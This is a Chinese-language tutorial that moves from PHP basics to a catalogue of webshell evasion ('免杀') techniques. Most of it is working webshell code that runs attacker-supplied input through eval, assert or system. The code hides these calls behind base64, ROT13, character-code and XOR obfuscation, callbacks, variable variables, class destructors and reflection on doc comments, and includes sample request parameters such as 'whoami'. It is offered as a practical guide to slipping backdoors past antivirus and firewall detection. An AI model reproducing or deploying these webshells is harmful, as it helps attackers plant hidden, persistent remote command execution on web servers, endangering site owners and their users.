PHP从零学习到Webshell免杀手册
字数 1248 2025-08-06 08:35:11
PHP从零学习到Webshell免杀手册
一、PHP基础
0.0 PHP基础格式
<?php
//执行的相关PHP代码
?>
0.1 .=和+=赋值
$a = 'a'; //赋值
$b = 'b'; //赋值
$c = 'c'; //赋值
$c .= $a;
$c .= $b;
echo $c; //cab
0.2 数组
$shuzu = array("AabyssZG","AabyssTeam");
echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";
0.3 连接符
$str1="hello";
$str2="world";
echo $str1.$str2; //helloworld
0.4 运算符
($var & 1) //如果$var是一个奇数,则返回true;如果是偶数,则返回false
0.5 常量
define('-_-','smile'); //特殊符号开头,定义特殊常量
define('wo',3.14);
const wo = 3;
0.6 PHP特性
- PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写
- 在某些环境中,
<?php ?>没有闭合会导致无法正常运作
0.7 PHP标记几种写法
<?php ?><?php<? ?><% %><script language="php"></script>
0.8 $_POST变量
$num1=$_POST['num1'];
$num2=$_POST['num2'];
print_r($_POST);
二、PHP函数速查
1# 回调类型函数
1.1 array_map()
function myfunction($v) {
return($v*$v);
}
$a=array(1,2,3,4,5);
print_r(array_map("myfunction",$a)); //array(1,4,9,16,25)
1.2 register_shutdown_function()
function test() {
echo '这个是中止方法test的输出';
}
register_shutdown_function('test');
echo 'before' . PHP_EOL;
exit();
echo 'after' . PHP_EOL;
1.3 array_walk()
function myfunction($value,$key,$p) {
echo "The key $key $p $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction","has the value");
1.4 array_filter()
function test_odd($var) {
return($var & 1);
}
$a1=array("a","b",2,3,4);
print_r(array_filter($a1,"test_odd")); //Array ( [3] => 3 )
1.5 foreach()
$arr = array(1,2,3,4);
foreach($arr as $k=>$v) {
$arr[$k] = 2 * $v;
}
print_r($arr); //Array([0]=>2 [1]=>4 [2]=>6 [3]=>8)
1.6 isset()
$var = '';
if (isset($var)) {
echo "变量已设置。" . PHP_EOL;
}
2# 字符串处理类函数
2.1 substr()
echo substr("D://system//451232.php", -10, 6)."<br>"; //451232
echo substr("AabyssTeam", 0, 6)."<br>"; //Aabyss
2.2 intval()
echo intval(042); // 34
echo intval(0x1A); // 26
echo intval(42); // 42
echo intval(4.2); // 4
2.3 parse_str()
parse_str("name=Peter&age=43");
echo $name."<br>"; //Peter
echo $age; //43
2.4 pack()
echo pack("C3",80,72,80); //ASCII编码转换为PHP
echo pack("H*","4161627973735465616d"); //16进制编码转换为AabyssTeam
3# 命令执行类函数
3.1 eval()
eval('echo "我想学php";'); //"我想学php"
@eval($_POST['AabyssTeam']);
3.2 system()
system('whoami');
3.3 exec()
exec('ls', $result);
print_r($result); //Array ( [0] => index.php )
3.4 shell_exec()
echo shell_exec('ls'); //index.php
3.5 passthru()
passthru('ls'); //index.php
3.6 popen()
$result = popen('ls', 'r');
echo fread($result, 100); //index.php
3.7 反引号``
echo `ls`; //index.php
4# 文件写入类函数
4.1 fwrite()
$file = fopen("test.txt","w");
echo fwrite($file,"Hello World. Testing!"); //21
fclose($file);
4.2 file_put_contents()
$file = 'sites.txt';
$site = "\nGoogle";
file_put_contents($file, $site, FILE_APPEND);
5# 异常处理类函数
5.1 Exception 类
class Test {
public $_1='';
function __destruct(){
system("$this->a");
}
}
$_2 = new Test;
$_2->$_1 = $_POST['aabyss'];
三、Webshell免杀技术
1# 编码绕过
1.1 Base64编码
<?php
$f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数
$f($_POST[aabyss]); //assert($_POST[aabyss]);
?>
1.2 ASCII编码
<?php
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
$f($_POST['aabyss']); //assert($_POST['aabyss']);
?>
1.3 ROT13编码
$f = str_rot13('flfgrz'); //解密后为system高危函数
$f($_POST['aabyss']); //system($_POST['aabyss']);
2# 字符串混淆处理绕过
2.1 自定义函数混淆字符串
function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$f = confusion(976534); //sysTem(高危函数)
$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
3# 生成新文件绕过
$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");
$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中
4# 回调函数绕过
4.1 call_user_func_array()
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
call_user_func_array($f, array($_POST['aabyss']));
5# 可变变量绕过
5.1 简单可变变量
$f ='hello';
$$
f = $_POST['aabyss'];
eval($hello); //eval($_POST['aabyss']);
6# 数组绕过
6.1 一维数组
$f = substr_replace("systxx","em",4); //system(高危函数)
$z = array($array = array('a'=>$f($_GET['aabyss'])));
var_dump($z);
7# 类绕过
7.1 单类
class Test {
public $_1='';
function __destruct(){
system("$this->a");
}
}
$_2 = new Test;
$_2->$_1 = $_POST['aabyss'];
8# 嵌套运算绕过
8.1 异或
$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数
$f($_POST['aabyss']);
9# 传参绕过
9.1 Base64传参
$decrpt = $_REQUEST['a'];
$decrps = $_REQUEST['b'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt));
call_user_func($arrs[0],$arrt[0]);
10# 自定义函数绕过
10.1 简单自定义函数
function out($b){ return $b; }
function zhixin($a){ return system($a); }
function post(){ return $_POST['aabyss']; }
function run(){
return out(zhixin)(out(post()));
}
run();
11# 读取字符串绕过
11.1 读取注释
/** system($_GET[aabyss]); */
class User { }
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$f = substr($comment , 14 , 22);
eval($f);
12# 多姿势配合免杀
12.1 样例一
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
传参:?_=system&__=whoami
12.2 样例二
<?php
phpinfo();
class Car{
function encode(){
$num1=base64_encode($_POST['num']);
$num=base64_decode($num1);
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
@$post=base64_encode($_POST['Qxi*37yz']);
@$post1=base64_decode(@$post);
return $post1;
}
function Xt(){
return eval($this->encode());
}
}
$t=new Car;
$t->Xt();
?>
传参:num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62
四、总结
本手册详细介绍了PHP基础知识和Webshell免杀技术,包括:
- PHP基础语法和常用函数
- 各种命令执行、文件操作等危险函数
- 多种Webshell免杀技术:编码绕过、字符串混淆、回调函数、可变变量、数组、类、嵌套运算等
- 复杂免杀案例分析和实现
关键点:
- 灵活运用PHP的动态特性和各种函数
- 通过编码、混淆、分割等方式绕过检测
- 结合多种技术实现高级免杀
- 注意eval()和assert()等函数的特殊限制
建议结合实践逐步掌握各种免杀技术,并注意遵守法律法规。